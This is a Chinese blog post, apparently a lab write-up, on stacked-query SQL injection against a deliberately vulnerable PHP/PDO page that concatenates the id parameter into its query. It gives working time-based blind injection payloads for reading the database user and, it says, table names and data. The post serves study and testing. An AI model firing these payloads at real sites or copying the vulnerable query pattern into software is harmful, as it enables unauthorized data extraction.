SQL注入之 堆叠查询注入 实验过程

目录

1 环境介绍

2 实验过程


本文采用的是《Web安全攻防渗透测试实战指南》提供的代码及数据库。

1 环境介绍

在堆叠注入页面中,程序获取GET参数ID,使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果,程序仍然存在SQL注入漏洞,代码如下所示。

<?php
try {
    $conn = new PDO("mysql:host=localhost;dbname=security", "root", "qwer");
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $stmt = $conn->query("SELECT * FROM users where `id` = '" . $_GET['id'] . "'");

    $result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
    foreach($stmt->fetchAll() as $k=>$v) {
        foreach ($v as $key => $value) {
            echo $value;
        }
    }
    $dsn = null;
}
catch(PDOException $e)
{
    echo "error";
}
$conn = null;
?>

使用PDO执行SQL语句时,可以执行多语句,不过这样通常不能直接得到注入结果,因为PDO只会返回第一条SQL语句执行的结果, 所以在第二条语句中可以用update更新数据或者使用时间盲注获取数据。访问

pdo.php?id=1';select if (ord(substring(user(),1,1)) =114,sleep(3) ,1);%23

时,执行的SQL语句为:

SELECT * FROM users where `id`='1';select if(ord(substring(user(),1,1))=114,sleep(3)1);#

此时SQL语句分为了两条,第一条SELECT*FROM users where"id'='1'是代码自己的select查询,而select if (ord (substring (user (),1, 1) ) =114,sleep (3) ,1) ;# 则是我们构造的时间盲注的语句。

数据库

Burpsuite抓本地包教程:https://www.cnblogs.com/coderge/p/13684438.html

Burpsuite查看页面响应时间教程:https://blog.csdn.net/Drifter_Galaxy/article/details/108654699

2 实验过程

堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id=1',页面返回MySQL错误,再访问id=1'%23,页面返回正常结果。这里可以使用Boolean注入、时间注入,也可以使用另外一种注入方式——堆叠注入
堆叠注入的语句为:

';select if(substr(user(),1,1)='r',sleep(3),1)%23

从堆叠注入语句中可以看到,第二条SQL语句(select if(substr(user(),1,1)='r', sleep(3) ,1) %23)就是时间盲注的语句,执行结果如图
所示。


后面获取数据的操作 与时间注入的一样,通过构造不同的时间注入语句,可以得到完整的数据库的库名、表名、字段名和具体数据。执行以下语句,就可以获取数据库的表名。

结果如图所示。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值